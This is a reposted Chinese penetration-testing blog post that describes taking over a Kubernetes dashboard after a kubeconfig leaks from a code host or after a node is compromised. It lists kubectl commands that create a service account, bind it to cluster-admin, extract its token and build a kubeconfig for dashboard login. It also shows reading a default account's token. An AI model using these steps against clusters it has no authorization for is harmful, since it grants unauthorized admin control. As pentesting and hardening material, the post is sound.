k8s命令行工具(k8s configmap subpath)

文章前言

本篇文章我们主要介绍以下两种利用场景下如何通过kubeconfig来接管Kubernet dashboard

  • 利用场景1:项目托管不当导致kubernetconfig文件泄露,例如:Github、Gitlab等,之后接管Kubernet dashboard

  • 利用场景2:在获取到Node节点权限的情况下通过kubeconfig来接管Kubernet dashboard

基础知识

用户凭证保存在kubeconfig文件中,kubectl通过以下顺序来找到kubeconfig文件

  • 如果提供了–kubeconfig参数,就使用提供的kubeconfig文件

  • 如果未提供–kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件

  • 如果以上两种情况都没有,那么kubectl就使用默认的kubeconfig文件$HOME/.kube/config

利用流程

Step 1:获取namespace

kubectl get namespace

Step 2:创建dashboard管理用户

kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard

k8s命令行工具(k8s configmap subpath)

Step 3:绑定用户为集群管理用户

kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin

k8s命令行工具(k8s configmap subpath)

Step 4:获取tocken(后续可以使用token登录)

    kubectl get sa,secrets -n kubernetes-dashboard
    kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll

    k8s命令行工具(k8s configmap subpath)

    k8s命令行工具(k8s configmap subpath)

    Step 5:生成kubeconfig文件

    DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token}|base64 -d)

    k8s命令行工具(k8s configmap subpath)

    kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.confkubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.confkubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.confkubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf

    k8s命令行工具(k8s configmap subpath)

    Step 6:赋予读写执行权限

    chmod 777 dashboard-admin.conf

    k8s命令行工具(k8s configmap subpath)

    Step 7:使用生成的dashbord-admin.conf登录dashboard

    k8s命令行工具(k8s configmap subpath)

    k8s命令行工具(k8s configmap subpath)

    相关扩展

    上面的我们是在master节点下创建管理账户并获取其配置文件来访问的Dashboard,下面我们介绍一下如何通过修改默认的配置文件来实现对Dashboard的访问

    Step 1:获取环境变量

    evn

    k8s命令行工具(k8s configmap subpath)

    Step 2:复制一份到桌面文件

    k8s命令行工具(k8s configmap subpath)

    Step 3:获取token信息

      kubectl get sa,secrets -n kubernetes-dashboard
      kubectl describe secret -n kubernetes-dashboard default-token-6lf6k

      k8s命令行工具(k8s configmap subpath)

      Step 7:修改config.conf添加下面的token部分

      k8s命令行工具(k8s configmap subpath)

      Step 8:使用token访问dashboard,可以看到是低权限用户,故而还是需要自我去构建才好,或者是用户在启动dashboard的时候有指定config那么可以直接复制config并修改其内容实现

      原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34242.html

      (0)
      七芒星实验室's avatar七芒星实验室
      上一篇 2024年4月16日 上午8:39
      下一篇 2024年4月16日 上午8:41

      相关推荐

      • 如何监控和测试云服务器的性能?

        监控和测试云服务器的性能可以通过以下几种方法: 1. 使用云服务提供商的监控工具:大多数云服务提供商提供内置的监控工具,可以实时监测服务器的性能指标,如 CPU 利用率、…

      • 11.9

        炸裂喜讯!HUAWEI-亲儿子,“荣耀”借壳重组上市,一晚身价倍增!鸟枪换炮蛇吞象,百亿幸运儿秒变千亿大佬,重组并购再临预期!

        2024年8月30日
        0
      • 智能引擎,智能系统是什么

        AMiner——新一代智能型科技情报挖掘与服务系统国内免费的学术网站AMiner,AMiner是新一代智能型科技情报挖掘与服务系统,能够为你提供查找论文、理解论文、分析论文、写作论文四位一体一站式服务&#xff0

        网站运维 2024年6月21日
        0
      • 石家庄新华技能体验日让你爱上互联网IT专业

        开学季,来一场超燃黑科技体验!8月25日,石家庄新华电脑学校举办了一场丰富多彩的“新华技能体验日”活动,为广大学子及家长带来了一场科技与梦想交织的盛会。本次活动

        2024年9月20日
        0

      发表回复

      您的邮箱地址不会被公开。 必填项已用 * 标注